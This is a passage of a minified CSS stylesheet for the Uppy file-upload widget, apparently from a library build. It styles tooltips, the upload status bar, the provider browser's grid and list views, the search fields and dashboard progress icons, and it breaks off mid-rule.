[role~=tooltip][data-microtip-position=right]:after,.uppy-Root [role~=tooltip][data-microtip-position=right]:before{bottom:auto;left:100%;top:50%;transform:translate3d(-10px,-50%,0)}.uppy-Root [role~=tooltip][data-microtip-position=right]:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='36'%3E%3Cpath fill='rgba(17, 17, 17, 0.9)' d='M12 2.658v32.004c0-6-12.002-11.627-12.002-16.002C-.002 14.285 12 8.594 12 2.658z'/%3E%3C/svg%3E") no-repeat;height:18px;width:6px;margin-bottom:0;margin-left:5px}.uppy-Root [role~=tooltip][data-microtip-position=right]:after{margin-left:11px}.uppy-Root [role~=tooltip][data-microtip-position=right]:hover:after,.uppy-Root [role~=tooltip][data-microtip-position=right]:hover:before{transform:translate3d(0,-50%,0)}.uppy-Root [role~=tooltip][data-microtip-size=small]:after{white-space:normal;width:80px}.uppy-Root [role~=tooltip][data-microtip-size=medium]:after{white-space:normal;width:150px}.uppy-Root [role~=tooltip][data-microtip-size=large]:after{white-space:normal;width:260px}.uppy-StatusBar{display:-ms-flexbox;display:flex;position:relative;height:40px;line-height:40px;font-size:12px;font-weight:400;color:#fff;background-color:#fff;z-index:1001;transition:height .2s}.uppy-size--md .uppy-StatusBar{height:46px}[data-uppy-theme=dark] .uppy-StatusBar{background-color:#1f1f1f}.uppy-StatusBar:before{content:"";position:absolute;left:0;right:0;top:0;bottom:0;width:100%;height:2px;background-color:#eaeaea}[data-uppy-theme=dark] .uppy-StatusBar:before{background-color:#757575}.uppy-StatusBar[aria-hidden=true]{overflow-y:hidden;height:0}.uppy-StatusBar.is-complete .uppy-StatusBar-progress{background-color:#1bb240}.uppy-StatusBar.is-error .uppy-StatusBar-progress{background-color:#e32437}.uppy-StatusBar.is-complete .uppy-StatusBar-statusIndicator{color:#1bb240}.uppy-StatusBar.is-error .uppy-StatusBar-statusIndicator{color:#e32437}.uppy-StatusBar:not([aria-hidden=true]).is-waiting{background-color:#fff;height:65px;border-top:1px solid #eaeaea}[data-uppy-theme=dark] .uppy-StatusBar:not([aria-hidden=true]).is-waiting{background-color:#1f1f1f;border-top:1px solid #333}.uppy-StatusBar-progress{background-color:#2275d7;height:2px;position:absolute;z-index:1001;transition:background-color,width .3s ease-out}.uppy-StatusBar-progress.is-indeterminate{background-size:64px 64px;background-image:linear-gradient(45deg,rgba(0,0,0,.3) 25%,transparent 0,transparent 50%,rgba(0,0,0,.3) 0,rgba(0,0,0,.3) 75%,transparent 0,transparent);animation:uppy-StatusBar-ProgressStripes 1s linear infinite}@keyframes uppy-StatusBar-ProgressStripes{0%{background-position:0 0}to{background-position:64px 0}}.uppy-StatusBar.is-postprocessing .uppy-StatusBar-progress,.uppy-StatusBar.is-preprocessing .uppy-StatusBar-progress{background-color:#f6a623}.uppy-StatusBar.is-waiting .uppy-StatusBar-progress{display:none}[dir=ltr] .uppy-StatusBar-content{padding-left:10px}[dir=rtl] .uppy-StatusBar-content{padding-right:10px}.uppy-StatusBar-content{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;position:relative;z-index:1002;-webkit-padding-start:10px;white-space:nowrap;text-overflow:ellipsis;color:#333;height:100%}[dir=ltr] .uppy-size--md .uppy-StatusBar-content{padding-left:15px}[dir=rtl] .uppy-size--md .uppy-StatusBar-content{padding-right:15px}.uppy-size--md .uppy-StatusBar-content{-webkit-padding-start:15px}[data-uppy-theme=dark] .uppy-StatusBar-content{color:#eaeaea}[dir=ltr] .uppy-StatusBar-status{padding-right:.3em}[dir=rtl] .uppy-StatusBar-status{padding-left:.3em}.uppy-StatusBar-status{line-height:1.4;font-weight:400;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;-webkit-padding-end:.3em}.uppy-StatusBar-statusPrimary{font-weight:500;line-height:1}[data-uppy-theme=dark] .uppy-StatusBar-statusPrimary{color:#eaeaea}.uppy-StatusBar-statusSecondary{margin-top:1px;font-size:11px;line-height:1.2;display:inline-block;color:#757575;white-space:nowrap}[data-uppy-theme=dark] .uppy-StatusBar-statusSecondary{color:#bbb}[dir=ltr] .uppy-StatusBar-statusSecondaryHint{margin-right:5px}[dir=rtl] .uppy-StatusBar-statusSecondaryHint{margin-left:5px}.uppy-StatusBar-statusSecondaryHint{display:inline-block;vertical-align:middle;-webkit-margin-end:5px;line-height:1}[dir=ltr] .uppy-size--md .uppy-StatusBar-statusSecondaryHint{margin-right:8px}[dir=rtl] .uppy-size--md .uppy-StatusBar-statusSecondaryHint{margin-left:8px}.uppy-size--md .uppy-StatusBar-statusSecondaryHint{-webkit-margin-end:8px}[dir=ltr] .uppy-StatusBar-statusIndicator{margin-right:7px}[dir=rtl] .uppy-StatusBar-statusIndicator{margin-left:7px}.uppy-StatusBar-statusIndicator{position:relative;top:1px;color:#525252;-webkit-margin-end:7px}.uppy-StatusBar-statusIndicator svg{vertical-align:text-bottom}[dir=ltr] .uppy-StatusBar-actions{right:10px}[dir=rtl] .uppy-StatusBar-actions{left:10px}.uppy-StatusBar-actions{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;position:absolute;top:0;bottom:0;z-index:1004}.uppy-StatusBar.is-waiting .uppy-StatusBar-actions{width:100%;height:100%;position:static;padding:0 15px;background-color:#fafafa}[data-uppy-theme=dark] .uppy-StatusBar.is-waiting .uppy-StatusBar-actions{background-color:#1f1f1f}.uppy-StatusBar:not([aria-hidden=true]).is-waiting.has-ghosts{height:90px;-ms-flex-direction:column;flex-direction:column}.uppy-size--md .uppy-StatusBar:not([aria-hidden=true]).is-waiting.has-ghosts{height:65px;-ms-flex-direction:row;flex-direction:row}.uppy-StatusBar:not([aria-hidden=true]).is-waiting.has-ghosts .uppy-StatusBar-actions{-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center}.uppy-size--md .uppy-StatusBar:not([aria-hidden=true]).is-waiting.has-ghosts .uppy-StatusBar-actions{-ms-flex-direction:row;flex-direction:row;-ms-flex-pack:initial;justify-content:normal}.uppy-StatusBar-actionCircleBtn{line-height:1;cursor:pointer;margin:3px;opacity:.9}.uppy-StatusBar-actionCircleBtn:focus{outline:none}.uppy-StatusBar-actionCircleBtn::-moz-focus-inner{border:0}.uppy-StatusBar-actionCircleBtn:focus{box-shadow:0 0 0 3px rgba(34,117,215,.5)}[data-uppy-theme=dark] .uppy-StatusBar-actionCircleBtn:focus{outline:none}[data-uppy-theme=dark] .uppy-StatusBar-actionCircleBtn::-moz-focus-inner{border:0}[data-uppy-theme=dark] .uppy-StatusBar-actionCircleBtn:focus{box-shadow:0 0 0 2px rgba(170,225,255,.85)}.uppy-StatusBar-actionCircleBtn:hover{opacity:1}.uppy-StatusBar-actionCircleBtn:focus{border-radius:50%}.uppy-StatusBar-actionCircleBtn svg{vertical-align:bottom}.uppy-StatusBar-actionBtn{display:inline-block;vertical-align:middle;font-size:10px;line-height:inherit;color:#2275d7}.uppy-size--md .uppy-StatusBar-actionBtn{font-size:11px}.uppy-StatusBar-actionBtn--disabled{opacity:.4}[data-uppy-theme=dark] .uppy-StatusBar-actionBtn--disabled{opacity:.7}[dir=ltr] .uppy-StatusBar-actionBtn--retry{margin-right:6px}[dir=rtl] .uppy-StatusBar-actionBtn--retry{margin-left:6px}.uppy-StatusBar-actionBtn--retry{height:16px;border-radius:8px;-webkit-margin-end:6px;background-color:#ff4b23;line-height:1;color:#fff;padding:1px 6px 3px 18px;position:relative}.uppy-StatusBar-actionBtn--retry:focus{outline:none}.uppy-StatusBar-actionBtn--retry::-moz-focus-inner{border:0}.uppy-StatusBar-actionBtn--retry:focus{box-shadow:0 0 0 3px rgba(34,117,215,.5)}[data-uppy-theme=dark] .uppy-StatusBar-actionBtn--retry:focus{outline:none}[data-uppy-theme=dark] .uppy-StatusBar-actionBtn--retry::-moz-focus-inner{border:0}[data-uppy-theme=dark] .uppy-StatusBar-actionBtn--retry:focus{box-shadow:0 0 0 2px rgba(170,225,255,.85)}.uppy-StatusBar-actionBtn--retry:hover{background-color:#f92d00}[dir=ltr] .uppy-StatusBar-actionBtn--retry svg{left:6px}[dir=rtl] .uppy-StatusBar-actionBtn--retry svg{right:6px}.uppy-StatusBar-actionBtn--retry svg{position:absolute;top:3px}.uppy-StatusBar.is-waiting .uppy-StatusBar-actionBtn--upload{font-size:14px;width:100%;padding:15px 10px;color:#fff;background-color:#1bb240;line-height:1}.uppy-StatusBar.is-waiting .uppy-StatusBar-actionBtn--upload:hover{background-color:#189c38}[data-uppy-theme=dark] .uppy-StatusBar.is-waiting .uppy-StatusBar-actionBtn--upload{background-color:#1c8b37}[data-uppy-theme=dark] .uppy-StatusBar.is-waiting .uppy-StatusBar-actionBtn--upload:hover{background-color:#18762f}.uppy-size--md .uppy-StatusBar.is-waiting .uppy-StatusBar-actionBtn--upload{padding:13px 22px;width:auto}.uppy-StatusBar.is-waiting .uppy-StatusBar-actionBtn--upload.uppy-StatusBar-actionBtn--disabled:hover{cursor:not-allowed;background-color:#1bb240}[data-uppy-theme=dark] .uppy-StatusBar.is-waiting .uppy-StatusBar-actionBtn--upload.uppy-StatusBar-actionBtn--disabled:hover{background-color:#1c8b37}.uppy-StatusBar:not(.is-waiting) .uppy-StatusBar-actionBtn--upload{background-color:transparent;color:#2275d7}[dir=ltr] .uppy-StatusBar-actionBtn--uploadNewlyAdded{padding-right:3px}[dir=ltr] .uppy-StatusBar-actionBtn--uploadNewlyAdded,[dir=rtl] .uppy-StatusBar-actionBtn--uploadNewlyAdded{padding-left:3px}[dir=rtl] .uppy-StatusBar-actionBtn--uploadNewlyAdded{padding-right:3px}.uppy-StatusBar-actionBtn--uploadNewlyAdded{-webkit-padding-end:3px;-webkit-padding-start:3px;padding-bottom:1px;border-radius:3px}.uppy-StatusBar-actionBtn--uploadNewlyAdded:focus{outline:none}.uppy-StatusBar-actionBtn--uploadNewlyAdded::-moz-focus-inner{border:0}.uppy-StatusBar-actionBtn--uploadNewlyAdded:focus{box-shadow:0 0 0 3px rgba(34,117,215,.5)}[data-uppy-theme=dark] .uppy-StatusBar-actionBtn--uploadNewlyAdded:focus{outline:none}[data-uppy-theme=dark] .uppy-StatusBar-actionBtn--uploadNewlyAdded::-moz-focus-inner{border:0}[data-uppy-theme=dark] .uppy-StatusBar-actionBtn--uploadNewlyAdded:focus{box-shadow:0 0 0 2px rgba(170,225,255,.85)}.uppy-StatusBar-actionBtn--done{line-height:1;border-radius:3px;padding:7px 8px}.uppy-StatusBar-actionBtn--done:focus{outline:none}.uppy-StatusBar-actionBtn--done::-moz-focus-inner{border:0}.uppy-StatusBar-actionBtn--done:hover{color:#1b5dab}.uppy-StatusBar-actionBtn--done:focus{background-color:#eceef2}[data-uppy-theme=dark] .uppy-StatusBar-actionBtn--done:focus{background-color:#333}[data-uppy-theme=dark] .uppy-StatusBar-actionBtn--done{color:#02baf2}.uppy-size--md .uppy-StatusBar-actionBtn--done{font-size:14px}.uppy-StatusBar-serviceMsg{font-size:11px;line-height:1.1;color:#000;padding-left:10px}.uppy-size--md .uppy-StatusBar-serviceMsg{font-size:14px;padding-left:15px}[data-uppy-theme=dark] .uppy-StatusBar-serviceMsg{color:#eaeaea}.uppy-StatusBar-serviceMsg-ghostsIcon{opacity:.5;vertical-align:text-bottom;position:relative;top:2px;left:6px;width:10px}.uppy-size--md .uppy-StatusBar-serviceMsg-ghostsIcon{width:15px;left:10px;top:1px}[dir=ltr] .uppy-StatusBar-details{left:2px}[dir=rtl] .uppy-StatusBar-details{right:2px}.uppy-StatusBar-details{line-height:12px;width:13px;height:13px;display:inline-block;vertical-align:middle;color:#fff;background-color:#939393;border-radius:50%;position:relative;top:0;font-size:10px;font-weight:600;text-align:center;cursor:help}.uppy-StatusBar-details:after{line-height:1.3;word-wrap:break-word}[dir=ltr] .uppy-StatusBar-spinner{margin-right:10px}[dir=rtl] .uppy-StatusBar-spinner{margin-left:10px}.uppy-StatusBar-spinner{animation-name:uppy-StatusBar-spinnerAnimation;animation-duration:1s;animation-iteration-count:infinite;animation-timing-function:linear;-webkit-margin-end:10px;fill:#2275d7}.uppy-StatusBar.is-postprocessing .uppy-StatusBar-spinner,.uppy-StatusBar.is-preprocessing .uppy-StatusBar-spinner{fill:#f6a623}@keyframes uppy-StatusBar-spinnerAnimation{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}.uppy-ProviderBrowser-viewType--grid ul.uppy-ProviderBrowser-list{display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:justify;justify-content:space-between;-ms-flex-align:start;align-items:flex-start;padding:6px}.uppy-ProviderBrowser-viewType--grid ul.uppy-ProviderBrowser-list:after{content:"";-ms-flex:auto;flex:auto}.uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem{width:50%;position:relative;margin:0}.uppy-size--md .uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem{width:33.3333%}.uppy-size--lg .uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem{width:25%}.uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem:before{content:"";padding-top:100%;display:block}.uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem--selected img,.uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem--selected svg{opacity:.85}.uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem--disabled{opacity:.5}.uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem--noPreview .uppy-ProviderBrowserItem-inner{background-color:hsla(0,0%,57.6%,.2)}[data-uppy-theme=dark] .uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem--noPreview .uppy-ProviderBrowserItem-inner{background-color:hsla(0,0%,91.8%,.2)}.uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem--noPreview svg{fill:rgba(0,0,0,.7);width:30%;height:30%}[data-uppy-theme=dark] .uppy-ProviderBrowser-viewType--grid li.uppy-ProviderBrowserItem--noPreview svg{fill:hsla(0,0%,100%,.8)}.uppy-ProviderBrowser-viewType--grid button.uppy-ProviderBrowserItem-inner{border-radius:4px;overflow:hidden;position:absolute;top:7px;left:7px;right:7px;bottom:7px;text-align:center;width:calc(100% - 14px);height:calc(100% - 14px)}.uppy-ProviderBrowser-viewType--grid button.uppy-ProviderBrowserItem-inner:focus{outline:none;box-shadow:0 0 0 3px rgba(34,117,215,.9)}[data-uppy-theme=dark] .uppy-ProviderBrowser-viewType--grid button.uppy-ProviderBrowserItem-inner{box-shadow:0 0 0 3px rgba(170,225,255,.7)}.uppy-ProviderBrowser-viewType--grid button.uppy-ProviderBrowserItem-inner img{width:100%;height:100%;object-fit:cover;border-radius:4px}.uppy-ProviderBrowser-viewType--grid .uppy-ProviderBrowserItem-fakeCheckbox{position:absolute;top:16px;right:16px;width:26px;height:26px;background-color:#2275d7;border-radius:50%;z-index:1002;opacity:0}[dir=ltr] .uppy-ProviderBrowser-viewType--grid .uppy-ProviderBrowserItem-fakeCheckbox:after{left:7px}[dir=rtl] .uppy-ProviderBrowser-viewType--grid .uppy-ProviderBrowserItem-fakeCheckbox:after{right:7px}.uppy-ProviderBrowser-viewType--grid .uppy-ProviderBrowserItem-fakeCheckbox:after{width:12px;height:7px;top:8px}.uppy-ProviderBrowser-viewType--grid .uppy-ProviderBrowserItem-fakeCheckbox--is-checked{opacity:1}.uppy-ProviderBrowser-viewType--list{background-color:#fff}[data-uppy-theme=dark] .uppy-ProviderBrowser-viewType--list{background-color:#1f1f1f}.uppy-ProviderBrowser-viewType--list li.uppy-ProviderBrowserItem{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:7px 15px;margin:0}[data-uppy-theme=dark] .uppy-ProviderBrowser-viewType--list li.uppy-ProviderBrowserItem{color:#eaeaea}.uppy-ProviderBrowser-viewType--list li.uppy-ProviderBrowserItem--disabled{opacity:.6}[dir=ltr] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox{margin-right:15px}[dir=rtl] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox{margin-left:15px}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox{-webkit-margin-end:15px;height:17px;width:17px;border-radius:3px;background-color:#fff;border:1px solid #cfcfcf}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox:focus{border:1px solid #2275d7;box-shadow:0 0 0 3px rgba(34,117,215,.25);outline:none}[dir=ltr] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox:after{left:3px}[dir=rtl] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox:after{right:3px}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox:after{opacity:0;height:5px;width:9px;top:4px}[data-uppy-theme=dark] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox:focus{border-color:rgba(2,186,242,.7);box-shadow:0 0 0 3px rgba(2,186,242,.2)}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox--is-checked{background-color:#2275d7;border-color:#2275d7}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-fakeCheckbox--is-checked:after{opacity:1}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-inner{text-overflow:ellipsis;white-space:nowrap;overflow:hidden;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:2px}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-inner:focus{outline:none;text-decoration:underline}[dir=ltr] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-inner img,[dir=ltr] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-inner svg{margin-right:8px}[dir=rtl] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-inner img,[dir=rtl] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-inner svg{margin-left:8px}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-inner img,.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-inner svg{-webkit-margin-end:8px;max-width:20px;max-height:20px}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-inner span{text-overflow:ellipsis;white-space:nowrap;overflow:hidden;line-height:1.2}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem--disabled .uppy-ProviderBrowserItem-inner{cursor:default}[dir=ltr] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-iconWrap{margin-right:7px}[dir=rtl] .uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-iconWrap{margin-left:7px}.uppy-ProviderBrowser-viewType--list .uppy-ProviderBrowserItem-iconWrap{width:20px;-webkit-margin-end:7px}.uppy-ProviderBrowserItem-fakeCheckbox{position:relative;cursor:pointer;-ms-flex-negative:0;flex-shrink:0}.uppy-ProviderBrowserItem-fakeCheckbox:disabled{cursor:default}.uppy-ProviderBrowserItem-fakeCheckbox:after{content:"";position:absolute;cursor:pointer;border-left:2px solid #eaeaea;border-bottom:2px solid #eaeaea;transform:rotate(-45deg)}.uppy-ProviderBrowserItem-fakeCheckbox:disabled:after{cursor:default}[data-uppy-theme=dark] .uppy-ProviderBrowserItem-fakeCheckbox{background-color:#1f1f1f;border-color:#939393}[data-uppy-theme=dark] .uppy-ProviderBrowserItem-fakeCheckbox--is-checked{background-color:#333}.uppy-SearchProvider{width:100%;height:100%;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;-ms-flex:1;flex:1}[data-uppy-theme=dark] .uppy-SearchProvider{background-color:#1f1f1f}.uppy-SearchProvider-input{width:90%;max-width:650px;margin-bottom:15px}.uppy-size--md .uppy-SearchProvider-input{margin-bottom:20px}.uppy-SearchProvider-searchButton{padding:13px 25px}.uppy-size--md .uppy-SearchProvider-searchButton{padding:13px 30px}.uppy-DashboardContent-panelBody{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;-ms-flex:1;flex:1}[data-uppy-theme=dark] .uppy-DashboardContent-panelBody{background-color:#1f1f1f}.uppy-Provider-auth,.uppy-Provider-empty,.uppy-Provider-error,.uppy-Provider-loading{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;-ms-flex-flow:column wrap;flex-flow:column wrap;-ms-flex:1;flex:1;color:#939393}.uppy-Provider-empty{color:#939393}.uppy-Provider-authIcon svg{width:100px;height:75px;margin-bottom:15px}.uppy-Provider-authTitle{font-size:17px;line-height:1.4;font-weight:400;margin-bottom:30px;padding:0 15px;max-width:500px;text-align:center;color:#757575}.uppy-size--md .uppy-Provider-authTitle{font-size:20px}[data-uppy-theme=dark] .uppy-Provider-authTitle{color:#cfcfcf}[dir=ltr] .uppy-Provider-breadcrumbs{text-align:left}[dir=rtl] .uppy-Provider-breadcrumbs{text-align:right}.uppy-Provider-breadcrumbs{-ms-flex:1;flex:1;color:#525252;font-size:12px;margin-bottom:10px}.uppy-size--md .uppy-Provider-breadcrumbs{margin-bottom:0}[data-uppy-theme=dark] .uppy-Provider-breadcrumbs{color:#eaeaea}[dir=ltr] .uppy-Provider-breadcrumbsIcon{margin-right:4px}[dir=rtl] .uppy-Provider-breadcrumbsIcon{margin-left:4px}.uppy-Provider-breadcrumbsIcon{display:inline-block;color:#525252;vertical-align:middle;-webkit-margin-end:4px;line-height:1}.uppy-Provider-breadcrumbsIcon svg{width:13px;height:13px;fill:#525252}.uppy-Provider-breadcrumbs button{display:inline-block;line-height:inherit;padding:4px;border-radius:3px}.uppy-Provider-breadcrumbs button:focus{outline:none}.uppy-Provider-breadcrumbs button::-moz-focus-inner{border:0}.uppy-Provider-breadcrumbs button:hover{color:#1b5dab}.uppy-Provider-breadcrumbs button:focus{background-color:#eceef2}[data-uppy-theme=dark] .uppy-Provider-breadcrumbs button:focus{background-color:#333}.uppy-Provider-breadcrumbs button:hover{text-decoration:underline;cursor:pointer}[data-uppy-theme=dark] .uppy-Provider-breadcrumbs button{color:#eaeaea}.uppy-ProviderBrowser{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex:1;flex:1;font-size:14px;font-weight:400;height:100%}.uppy-ProviderBrowser-user{margin:0 8px 0 0;font-weight:500;color:#333}[data-uppy-theme=dark] .uppy-ProviderBrowser-user{color:#eaeaea}[dir=ltr] .uppy-ProviderBrowser-user:after{left:4px}[dir=rtl] .uppy-ProviderBrowser-user:after{right:4px}.uppy-ProviderBrowser-user:after{content:"·";position:relative;color:#939393;font-weight:400}.uppy-ProviderBrowser-header{z-index:1001;border-bottom:1px solid #eaeaea;position:relative}[data-uppy-theme=dark] .uppy-ProviderBrowser-header{border-bottom:1px solid #333}.uppy-ProviderBrowser-headerBar{padding:7px 15px;background-color:#fafafa;z-index:1001;color:#757575;line-height:1.4;font-size:12px}.uppy-size--md .uppy-ProviderBrowser-headerBar{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}[data-uppy-theme=dark] .uppy-ProviderBrowser-headerBar{background-color:#1f1f1f}.uppy-ProviderBrowser-headerBar--simple{text-align:center;display:block;-ms-flex-pack:center;justify-content:center}.uppy-ProviderBrowser-headerBar--simple .uppy-Provider-breadcrumbsWrap{-ms-flex:none;flex:none;display:inline-block;vertical-align:middle}.uppy-ProviderBrowser-search{width:100%;background-color:#fff;position:relative;height:30px;margin-top:10px;margin-bottom:5px;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}[data-uppy-theme=dark] .uppy-ProviderBrowser-search{background-color:#1f1f1f}[dir=ltr] .uppy-ProviderBrowser-searchIcon{left:16px}[dir=rtl] .uppy-ProviderBrowser-searchIcon{right:16px}.uppy-ProviderBrowser-searchIcon{position:absolute;width:12px;height:12px;z-index:1002;color:#bbb}[dir=ltr] .uppy-ProviderBrowser-searchInput{padding-left:27px}[dir=rtl] .uppy-ProviderBrowser-searchInput{padding-right:27px}.uppy-ProviderBrowser-searchInput{width:100%;height:30px;background-color:transparent;outline:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;font-size:12px;line-height:1.4;border:0;margin:0 8px;-webkit-padding-start:27px;z-index:1001;border-radius:4px}[data-uppy-theme=dark] .uppy-ProviderBrowser-searchInput{background-color:#1f1f1f;color:#eaeaea}.uppy-ProviderBrowser-searchInput:focus{outline:0;background-color:#f4f4f4}[data-uppy-theme=dark] .uppy-ProviderBrowser-searchInput:focus{background-color:#333}[dir=ltr] .uppy-ProviderBrowser-searchClose{right:12px}[dir=rtl] .uppy-ProviderBrowser-searchClose{left:12px}.uppy-ProviderBrowser-searchClose{position:absolute;width:22px;height:22px;padding:6px;top:4px;z-index:1002;color:#939393;cursor:pointer}.uppy-ProviderBrowser-searchClose:hover{color:#757575}.uppy-ProviderBrowser-searchClose svg{vertical-align:text-top}.uppy-ProviderBrowser-searchInput:-ms-input-placeholder{color:#939393;opacity:1}.uppy-ProviderBrowser-searchInput::placeholder{color:#939393;opacity:1}.uppy-ProviderBrowser-userLogout{cursor:pointer;line-height:inherit;color:#2275d7;padding:4px;border-radius:3px}.uppy-ProviderBrowser-userLogout:focus{outline:none}.uppy-ProviderBrowser-userLogout::-moz-focus-inner{border:0}.uppy-ProviderBrowser-userLogout:hover{color:#1b5dab}.uppy-ProviderBrowser-userLogout:focus{background-color:#eceef2}[data-uppy-theme=dark] .uppy-ProviderBrowser-userLogout:focus{background-color:#333}.uppy-ProviderBrowser-userLogout:hover{text-decoration:underline}[data-uppy-theme=dark] .uppy-ProviderBrowser-userLogout{color:#eaeaea}.uppy-ProviderBrowser-body{-ms-flex:1;flex:1;position:relative}.uppy-ProviderBrowser-list{-ms-flex:1;flex:1;position:relative;display:block;width:100%;height:100%;background-color:#fff;border-spacing:0;overflow-x:hidden;overflow-y:auto;-webkit-overflow-scrolling:touch;position:absolute;top:0;bottom:0;left:0;right:0;list-style:none;margin:0;padding:0}[data-uppy-theme=dark] .uppy-ProviderBrowser-list{background-color:#1f1f1f}.uppy-ProviderBrowser-list:focus{outline:none}.uppy-ProviderBrowserItem-inner{cursor:pointer;font-weight:500;font-size:13px}.uppy-ProviderBrowser-footer{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;background-color:#fff;height:65px;border-top:1px solid #eaeaea;padding:0 15px}[dir=ltr] .uppy-ProviderBrowser-footer button{margin-right:8px}[dir=rtl] .uppy-ProviderBrowser-footer button{margin-left:8px}.uppy-ProviderBrowser-footer button{-webkit-margin-end:8px}[data-uppy-theme=dark] .uppy-ProviderBrowser-footer{background-color:#1f1f1f;border-top:1px solid #333}.uppy-Dashboard-Item-previewInnerWrap{width:100%;height:100%;overflow:hidden;position:relative;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;-ms-flex-direction:column;flex-direction:column;box-shadow:0 0 2px 0 rgba(0,0,0,.4);border-radius:3px}.uppy-size--md .uppy-Dashboard-Item-previewInnerWrap{box-shadow:0 1px 2px rgba(0,0,0,.15)}.uppy-Dashboard-Item-previewInnerWrap:after{content:"";position:absolute;left:0;right:0;top:0;bottom:0;background-color:rgba(0,0,0,.65);display:none;z-index:1001}.uppy-Dashboard-Item-previewLink{position:absolute;left:0;right:0;top:0;bottom:0;z-index:1002}.uppy-Dashboard-Item-previewLink:focus{box-shadow:inset 0 0 0 3px #76abe9}[data-uppy-theme=dark] .uppy-Dashboard-Item-previewLink:focus{box-shadow:inset 0 0 0 3px #016c8d}.uppy-Dashboard-Item-preview img.uppy-Dashboard-Item-previewImg{width:100%;height:100%;object-fit:cover;transform:translateZ(0);border-radius:3px}.uppy-Dashboard-Item-progress{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);z-index:1002;color:#fff;text-align:center;width:120px;transition:all .35 ease}.uppy-Dashboard-Item-progressIndicator{display:inline-block;width:38px;height:38px;opacity:.9}.uppy-size--md .uppy-Dashboard-Item-progressIndicator{width:55px;height:55px}button.uppy-Dashboard-Item-progressIndicator{cursor:pointer}button.uppy-Dashboard-Item-progressIndicator:focus{outline:none}button.uppy-Dashboard-Item-progressIndicator::-moz-focus-inner{border:0}button.uppy-Dashboard-Item-progressIndicator:focus .uppy-Dashboard-Item-progressIcon--bg,button.uppy-Dashboard-Item-progressIndicator:focus .uppy-Dashboard-Item-progressIcon--retry{fill:#76abe9}.uppy-Dashboard-Item-progressIcon--circle{width:100%;height:100%}.uppy-Dashboard-Item-progressIcon--bg{stroke:hsla(0,0%,100%,.4)}.uppy-Dashboard-Item-progressIcon--progress{stroke:#fff;transition:stroke-dashoffset .5s ease-out}.uppy-Dashboard-Item-progressIcon--play{stroke:#fff;fill:#fff;transition:all .2s}.uppy-Dashboard-Item-progressIcon--cancel{fill:#fff;transition:all .2s}.uppy-Dashboard-Item-progressIcon--pause{stroke:#fff;fill:#fff;transition:all .2s}.uppy-Dashboard-Item-progressIcon--check{fill:#fff;transition:all .2s}.uppy-Dashboard-Item-progressIcon--retry{fill:#fff}[dir=ltr] .uppy-Dashboard-Item.is-complete .uppy-Dashboard-Item-progress{right:-8px}[dir=rtl] .uppy-Dashboard-Item.is-complete .uppy-Dashboard-Item-progress{left:-8px}[dir=ltr] .uppy-Dashboard-Item.is-complete 